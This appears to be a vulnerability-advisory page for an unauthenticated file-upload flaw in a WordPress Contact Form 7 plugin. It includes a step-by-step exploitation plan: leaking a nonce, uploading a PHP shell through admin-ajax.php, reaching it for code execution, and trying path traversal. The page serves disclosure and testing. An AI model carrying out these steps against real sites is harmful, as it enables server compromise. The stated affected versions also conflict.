Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.5 - Unauthenticated Arbitrary File Upload
Description
The Drag and Drop Multiple File Upload - Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in the 'dnd_upload_cf7_upload' function in versions up to, and including, 1.3.7.3. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible. This can be exploited if the form includes a multiple file upload field with ‘*’ as the accepted file type.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=1.3.9.5What Changed in the Fix
Changes introduced in v1.3.9.6
Source Code
WordPress.org SVN# Research Plan: CVE-2026-3459 - Unauthenticated Arbitrary File Upload in Drag and Drop Multiple File Upload for Contact Form 7 ## 1. Vulnerability Summary The **Drag and Drop Multiple File Upload for Contact Form 7** plugin (up to version 1.3.9.5) contains an unauthenticated arbitrary file upload …
Show full research plan
Research Plan: CVE-2026-3459 - Unauthenticated Arbitrary File Upload in Drag and Drop Multiple File Upload for Contact Form 7
1. Vulnerability Summary
The Drag and Drop Multiple File Upload for Contact Form 7 plugin (up to version 1.3.9.5) contains an unauthenticated arbitrary file upload vulnerability. The vulnerability exists in the dnd_upload_cf7_upload function, which handles AJAX-based file uploads.
The plugin fails to sufficiently validate file extensions on the server side when a Contact Form 7 [mfile] tag is configured with * as the accepted file type. While the client-side JavaScript (codedropz-uploader-jquery.js) performs regex checks against supported_type, an attacker can bypass these by sending a direct HTTP request to the AJAX endpoint with a malicious file (e.g., .php), leading to Remote Code Execution (RCE).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Actions:
wp_ajax_nopriv_dnd_codedropz_upload(Unauthenticated)wp_ajax_dnd_codedropz_upload(Authenticated)
- Vulnerable Parameter:
upload-file(Multipart file upload) - Required Parameters:
action:dnd_codedropz_uploadsecurity: A valid WordPress nonce for the actiondnd-cf7-security-nonce.form_id: The ID of a Contact Form 7 form.upload_name: The name of themfilefield in the form.upload_folder: A random string (user-controlled) used to create the temporary directory.
- Preconditions: A Contact Form 7 form must exist and contain an
[mfile]tag. The vulnerability is most potent if the tag allows*or includesphp.
3. Code Flow
- Entry Point: A
POSTrequest is sent toadmin-ajax.phpwithaction=dnd_codedropz_upload. - Hook Registration: In
inc/dnd-upload-cf7.php, the action is hooked:add_action( 'wp_ajax_nopriv_dnd_codedropz_upload', 'dnd_upload_cf7_upload' ); - Nonce Verification: The function
dnd_upload_cf7_upload(insideinc/dnd-upload-cf7.php) verifies thesecurityparameter usingcheck_ajax_referer( 'dnd-cf7-security-nonce', 'security' ). - Vulnerable Sink: The function processes the
$_FILES['upload-file']. It retrieves the allowed file types from the form tag configuration. If the configuration is lax (e.g.,*), it proceeds to move the file usingmove_uploaded_fileinto a directory structure based on the providedupload_folder:wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{upload_folder}/{filename}. - Lack of Extension Filtering: The server-side code relies on the configured whitelist and fails to enforce a hard blacklist against dangerous extensions like
.php.
4. Nonce Acquisition Strategy
The plugin contains a secondary AJAX action _wpcf7_check_nonce that inadvertently leaks a valid nonce if an invalid one is provided.
- Target Action:
_wpcf7_check_nonce - Method: Send a
POSTrequest to/wp-admin/admin-ajax.php. - Payload:
action=_wpcf7_check_nonce&_ajax_nonce=any_garbage. - Mechanism: In
inc/dnd-upload-cf7.php, the functiondnd_wpcf7_nonce_checkis called:
If the nonce check fails, it creates and returns a valid nonce forfunction dnd_wpcf7_nonce_check() { // ... blocks curl ... if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){ wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) ); } }dnd-cf7-security-nonce. - Constraints: The function explicitly checks for the
curlUser-Agent string and blocks it. The exploit agent must use a standard browser User-Agent.
5. Exploitation Strategy
Step 1: Leak the Nonce
Use the http_request tool to trigger the nonce leak.
- URL:
http://vulnerable-site.com/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
- Body:
action=_wpcf7_check_nonce&_ajax_nonce=12345 - Expected Response:
{"success":true,"data":"[10_digit_nonce]"}
Step 2: Prepare the PHP Payload
Create a simple PHP shell (e.g., <?php echo "EXPLOIT_SUCCESS"; phpinfo(); ?>).
Step 3: Upload the File
Perform a multipart POST request.
- URL:
http://vulnerable-site.com/wp-admin/admin-ajax.php - Method:
POST - Headers:
User-Agent: Mozilla/5.0 ...(Non-curl)
- Multipart Data:
action:dnd_codedropz_uploadsecurity:[leaked_nonce]form_id:1(or the ID of the created CF7 form)upload_name:your-fileupload_folder:attacker_dir_123upload-file:[binary content of shell.php]
Step 4: Access the Shell
The file is uploaded to the temporary directory.
- Path:
/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/attacker_dir_123/shell.php
6. Test Data Setup
- Install Contact Form 7: Ensure Contact Form 7 is active.
- Create Form: Use WP-CLI to create a form with the
[mfile]tag.wp post create --post_type=wpcf7_contact_form --post_title="Exploit Form" --post_status=publish --post_content='[mfile your-file filetypes:*][submit "Send"]' - Get Form ID: Note the ID returned by the previous command.
- Create Page: Embed the form in a public page.
wp post create --post_type=page --post_title="Upload Page" --post_status=publish --post_content='[contact-form-7 id="[ID]"]'
7. Expected Results
- Nonce Leak: The
_wpcf7_check_noncerequest returns a JSON object wheredatais a 10-character string. - Upload: The
dnd_codedropz_uploadrequest returns{"success":true,...}. - Execution: Navigating to
http://vulnerable-site.com/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/attacker_dir_123/shell.phpreturns the stringEXPLOIT_SUCCESSand thephpinfo()output.
8. Verification Steps
- File System Check:
Confirmls -R /var/www/html/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/shell.phpexists in theattacker_dir_123subdirectory. - Check Access Log: Verify the HTTP 200 status code for the shell execution.
9. Alternative Approaches
- Lax Configuration: If the form does not use
*, attempt to find a form that allowsziportxt. If the server-side validation is solely dependent on thefiletypesattribute, and the plugin allows client-controlledblacklist-types(seen incodedropz-uploader-jquery.js), try omitting or spoofing the blacklist in the AJAX request. - Path Traversal: Check if
upload_folderis vulnerable to path traversal (e.g.,../../), which might allow bypassing the.htaccessfile created in thewp_dndcf7_uploadsroot. - Nginx Environment: The plugin relies on
.htaccessto block.phpexecution in the upload directory. On Nginx servers, these rules are ignored, making RCE trivial even with the protection active.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.